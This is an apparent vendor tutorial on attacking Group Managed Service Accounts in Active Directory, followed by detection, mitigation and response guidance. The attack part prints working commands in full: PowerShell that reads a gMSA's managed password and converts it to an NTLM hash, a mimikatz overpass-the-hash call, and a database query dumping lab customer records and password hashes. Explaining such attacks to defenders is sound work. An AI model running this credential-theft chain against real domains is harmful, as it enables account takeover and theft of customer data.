Group Managed Service Accounts Attack

Attack Tutorial: How Group Managed Service Accounts Attack Works

STEP 1: Discover an exploitable gMSA

First, an adversary must identify gMSAs that they can exploit. An adversary must have compromised either an account with permissions to modify the gMSA's permissions or an account with permissions to read the gMSA's password. (The computer account for any system legitimately using the gMSA has the ability to read the password from Active Directory. Any process running as the NT AUTHORITY\SYSTEM user is therefore able to access the gMSA's password.)

In this example, an adversary has exploited a vulnerability in a popular content management system (CMS) that permits remote code execution on the web server. They discovered that the poorly configured CMS is running as NT AUTHORITY\SYSTEM and enumerate the identities under which other websites on the server are running, finding the SvcCustomerWeb$ gMSA.

      PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> Import-Module WebAdministration

PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {

>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |

>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolNameidentityTypeuserName

-------------------------------

.NET v4.5ApplicationPoolIdentity

.NET v4.5 ClassicApplicationPoolIdentity

ContentManagementSystem LocalSystem

CustomerWebsiteSpecificUserSvcCustomerWeb$

DefaultAppPoolApplicationPoolIdentity

PS C:\Windows\system32>
      

STEP 2: Compromise the gMSA password

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.

      PS C:\Windows\system32> Install-Module -Name DSInternals -Force

PS C:\Windows\system32> Import-Module DSInternals

# Acquire gMSA password

PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')

# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:

# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt

PS C:\Windows\system32> $gMSA.CurrentPassword

ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ

# Obtain NTLM hash

PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword

9a9865e4a0412c6a726ec31568cbebc7

PS C:\Windows\system32>
      

STEP 3: Use the gMSA password for further objectives

The adversary can now use the compromised credentials to further their objectives. In this example, the adversary uses overpass-the-hash to authenticate to the customer database and exfiltrate a list of customers, their contact information, and their password hashes.

      PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit

# A new command prompt opens

C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"

+--------------------------+

| (No column name)|

|--------------------------|

| DOMAIN\SvcCustomerWeb$|

+--------------------------+

(1 row affected)

+--------------+-------------+-----------+----------------------------+------------------------------------------+

| customerId| givenName| surName| email| password|

|--------------+-------------+-----------+----------------------------+------------------------------------------|

| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |

| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |

| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |

| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |

+--------------+-------------+-----------+----------------------------+------------------------------------------+

(4 rows affected)
      

Detect, Mitigate and Respond

Detect

Difficulty: Low

It can be difficult to detect all unauthorized reads of the msDS-ManagedPassword attribute, particularly if they occur as the computer account. However, regular users should never access gMSA passwords, so monitoring Active Directory event logs for access to gMSA passwords by users other than computer accounts is an important detection. Furthermore, monitoring gMSA accounts for changes to permissions (the msDS-GroupMSAMembership attribute) for which entities can access the password is also important.
Event ID 4662 in the subcategory Audit Directory Service Access audits basic information about users performing operations within Active Directory for events specified in an object's system access control list (SACL).
Using this event, it is possible to see when a user reads a gMSA password. To identify these events, filter the event logs for:

• Operation Type: Object Access
• Accesses: Read Property
• Properties: Includes the GUID {e362ed86-b728-0842-b27d-2dea7a9df218} This is the GUID of the msDS-ManagedPassword attribute.

Mitigate

Difficulty: Medium

Mitigating the risk of gMSA exploitation is ultimately about defending Active Directory privileges that allow an adversary to modify gMSA permissions or read the password, and adopting other best practices to prevent infiltration:

• Routinely audit permissions to modify gMSA accounts and aggressively embrace the principle of least privilege.
• Routinely audit the membership of the msDS-GroupMSAMembership attribute on each gMSA and ensure that only authorized computer accounts are granted privileges to access the password.
• Alert, in real-time, on changes to gMSA permissions.

Respond

Difficulty: Medium

Should a user other than an authorized computer account retrieve the gMSA password or an unauthorized change in gMSA permissions occur, there are several actions one can take to immediately respond:

• Activate the incident response process and alert the response team.
• Reset the password of the user who performed the action and optionally disable that user in order to a) force instantaneous replication to all domain controllers and b) disrupt the adversary's use of that account.
• Reset the password for the affected gMSA.
• Quarantine the impacted machines for forensic investigation, as well as eradication and recovery activities.